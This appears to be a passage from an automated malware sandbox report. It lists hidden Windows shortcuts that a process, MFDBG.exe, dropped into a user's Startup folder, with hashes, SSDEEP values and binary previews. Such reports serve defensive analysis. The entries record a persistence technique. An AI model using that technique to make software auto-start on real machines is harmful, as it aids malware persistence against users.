Preview:	L..................F...."...]W%.{.....E.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75d17fb233b24c76bf6cdb19297ae6c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9393529675606
Encrypted:	false
SSDEEP:	24:8fPhBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fTt0R6rMhpBoUBxdRd1nYyg
MD5:	993245F5884F3C99183D75F19764C4B9
SHA1:	51524C929A2FD418F92D9758A6AE51D9F4FFC6E6
SHA-256:	0DC7221F1EF55C80C5AC0FEA7BFB5BEA3CA256EB7BAB0CB087AC58BA3735CBC8
SHA-512:	DCE3831AA335E463F8662D8415BE1F72AC9912349A625CD301A936A97799658D4F9D73D7B35D4E2651A2BD9F8B98E27649B650CA6952A1ED99F7AFF3CD75FE4C
Malicious:	false
Preview:	L..................F...."...]W%.{....2O.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75d891aa8c7444efb6a88dbad3a8e1b6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935464467902567
Encrypted:	false
SSDEEP:	24:8IhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8KNQ0R6rMhpBoUBxdRd1nYyg
MD5:	775EAB506DA14DED6678C369112D9358
SHA1:	65FBF45A30445CA25EFA950F2F8D3E2036A3FFED
SHA-256:	18756071563C98DD40294BDF41C83D9A20E76DA6E027C9CA07DEB8C92B9C9AF1
SHA-512:	07DF6AB54EE87B587B1C6DC1836957A6EC624D00443D9D82AFB09621959F582A401DAF64EE9A62A451287D39122934E076FAE9AE8801869939DC41B037E78201
Malicious:	false
Preview:	L..................F...."...]W%.{....n6.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_761a6afbf6f64f94ae42a48157473093.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936291288107154
Encrypted:	false
SSDEEP:	24:8shBfeh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8e/0R6rMhpBoUBxdRd1nYyg
MD5:	6030B5CE40CC7447CCAB75F47CC158D4
SHA1:	E7FD1299B741140885D8C43829C59E2D16E96867
SHA-256:	E9F417F1446553E6C78CB57E7AB07D8854AAB012FB55D9332E447D8674494FD5
SHA-512:	7BF3F3FE63F67B60F2199596F1A22E5E2F4BEB1DBD38515F400FC562F6D7948100829042B1A8734F3FA6ADE43CC501B77F0338BBE104836D979999B23B86557F
Malicious:	false
Preview:	L..................F...."...]W%.{...u...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....7..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_762d026cbe9d4d3ab50cbdbff32698fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:80hBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82nC0R6rMhpBoUBxdRd1nYyg
MD5:	46B95F87A42CC605DCF8A1BB279B04D9
SHA1:	ED2042C48F53E995C23FF7E670FFE4625D0606D4
SHA-256:	F7C125E5294099AEA3DB0362AFC755A5402E630D9E0E2499C1F780809390083B
SHA-512:	EF90DD32CBA34DB5B61A5AD2498EF37A7F7BFFDAF46602ADDFA2879BA0A1CF007B1EB9BB0A8DC24B96972309C84C6FA5B9C9594C2C2F66B6B1B428706FFD506B
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7658c46a9875427a9566159c3853a94d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936993399614909
Encrypted:	false
SSDEEP:	24:8XhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Lr0R6rMhpBoUBxdRd1nYyg
MD5:	1311AED5C9C2EAD56B48BF77E65DE149
SHA1:	901C6CE386D6FF54C5027B84AA6060EFE2DFBB1F
SHA-256:	8F4D595A2DA2A88FF2C5DA788E8F3871B5D427D2B0A4407C7D7D8854DCEDF29B
SHA-512:	5AD8A2FAA4402C49CE9192A736AB91EDFE0FAFAC41278D5C5E3712CCF212B930AC412F91346475B4AF9186462BC9B68D7F2F81B00340B785CDD25DCF005C248A
Malicious:	false
Preview:	L..................F...."...]W%.{...3...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_768d1525a6ed483d8b79b584c151cebe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940503520821074
Encrypted:	false
SSDEEP:	24:80hBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82d0R6rMhpBoUBxdRd1nYyg
MD5:	2551A1332476FC000A874BF85741FC52
SHA1:	2BE7140AABB8607BDD5CE8A4E308F298F74E7597
SHA-256:	D9985E33D2626D09712497D702AF444219A8F967D692288390BFF96758E04081
SHA-512:	82C4D23460E092E39D13DD0CFFE7E729B5109E1A74FD226D38DC3A491D25E80EA41D5B1B4BD9E29533A16B283A7DF38FF1473D22B9923D6BC6EBD1FCDECE81AC
Malicious:	false
Preview:	L..................F...."...]W%.{...>-..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_76abc9b8093e47e3b1726392bff55a6f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9353396137615295
Encrypted:	false
SSDEEP:	24:832hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83cKI0R6rMhpBoUBxdRd1nYyg
MD5:	E5C04BC134B3372E6A58BA45BADE7E5D
SHA1:	62D2FDC862363E6E9070A5899426D4886C08D0F7
SHA-256:	382ABA00849EF7BAD655789286ADB48FB031A6851D7F54C07998EE53AE78C015
SHA-512:	22D60CBC175C6096861D98EC021BBF64DA3BC041C7A527721609F3E30F2088D14AFB6EB7E0FF25B8FD0D3463475625A231FE4153FD32F089B7A374AE99033FB8
Malicious:	false
Preview:	L..................F...."...]W%.{...`.V.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_76b2c8a75bb84f15bde6c4c36aea6b7d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.947674415523644
Encrypted:	false
SSDEEP:	24:8qhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ap0R6rMhpBoUBxdRd1nYyg
MD5:	BDE8E0D0673AB155CE955487C0BEAF8D
SHA1:	613E8DBB0180AF772B64E28863BB54817A87C339
SHA-256:	A38089D67982FD88D441EAF5DEA61EC45DB7790BBCE3D4C6DB2B3F7D50750575
SHA-512:	A8E981881717EF3D2595FE698F3FFFF2D38D733643A9668BAEF17B6197F94A21A844A003509F0B0711DD86D72CB36D7EFD3CF042FC56FF00D63235551F1B25BD
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_76e9912ed2f4497f9b7c341d87d31dab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933687815298103
Encrypted:	false
SSDEEP:	24:8vhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zR0R6rMhpBoUBxdRd1nYyg
MD5:	8C2193887E7A83677042E2683F85EB36
SHA1:	5E1819DA4E86C90DABFF3CB3575048D35EDB081D
SHA-256:	D52E29EA6070E05F0F25A504A30B632043285465882F51193BF2742F95DE9ACD
SHA-512:	03C3F92B78E5F567B9353164ED1E821772B1DA1ADEB175882BC3F2CA17062743A6F7364E80A24BB90FD0D18C139A474BF06D81173EE015164C21D6B289EE1AA4
Malicious:	false
Preview:	L..................F...."...]W%.{...\...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_776ad5f164614ce691eb6b14555bdf2f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934595480363299
Encrypted:	false
SSDEEP:	24:8nhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87lc0R6rMhpBoUBxdRd1nYyg
MD5:	07ACA9337F1F648D6E46204712BFFCCC
SHA1:	9B875BE8FC4EFC99BE20363C88B7E4CEDFACE139
SHA-256:	FD285744E78C2ED0A46DE4457EE86DF41CB9796779A833DCC8C034094901A67B
SHA-512:	EB8AA475CF48433D161BB0285DA19468A12D69D5B1C7EAAF1A3A254521FD9404EE5E8AEA7C5312E1AD00862FD7C6EB4E20C7CE7A262263A2AFDB1F5B76C267F1
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_778ef3050aa54d239c280f4cf8fd5149.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006386
Encrypted:	false
SSDEEP:	24:86GhBfT8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86Mo0R6rMhpBoUBxdRd1nYyg
MD5:	A32762236043727123C4929E15AEE3BD
SHA1:	156A639DB89B9F1E7183D0E62FD86E9E6ACD6C2C
SHA-256:	98AF01CD415ED61EB54295BD0FC83E301E8E813C726CDDCBD1639619C7C38FC0
SHA-512:	46801819F2A5C7AD13811EA566E973BE0BBB8A132630EA2B042AD98BF55B0CA0981CFA19D50CCDEBEFFF7B6BDC277757D7FF738398EC08F83834B2F9FEE5D023
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77ce7ae1869341dab054c317a4654eac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394053
Encrypted:	false
SSDEEP:	24:8KxmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8KxsU0R6rMhpBoUBxdRd1nYyg
MD5:	96945B0868BFB2B0225B90374D7BC6F7
SHA1:	29C94455F4A3191BA27C82C05F2C54EBDEE232EF
SHA-256:	01682637A17C8C5829BE0A99A5E1DF6D8AAB0BD9B65DB463A361E0BD2A77CEB1
SHA-512:	AFBC0BB0F3578B771C2822C8141EED98BB7E3762CFA7AB84FF1F4544A4BC89DECAFA3C28D535C51968159F3E997BCECFD72C6A45DDDA5B773460C48BFFEFA31B
Malicious:	false
Preview:	L..................F...."...]W%.{..."...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77cfdefec1434a56b3831e1c384f433c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93907668417579
Encrypted:	false
SSDEEP:	24:8MhBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+70R6rMhpBoUBxdRd1nYyg
MD5:	D14D7D6E2A0A6E4CF4D52337549B2527
SHA1:	3CD8781D84855C9AE592E6174FA238422AD22AD5
SHA-256:	F0583EFE1CA8180D357FA42BB47C5EDD6889396B7A15DD8400ACF96729FFC4DE
SHA-512:	C99A5B86EF7E3FEB4B40116727B655DBB81C91F72B3F1D050381D5F78B4B580CD899D463697143D939EE34B15EB1D505D50BB5A01960C8554FFB97DF5BC394B0
Malicious:	false
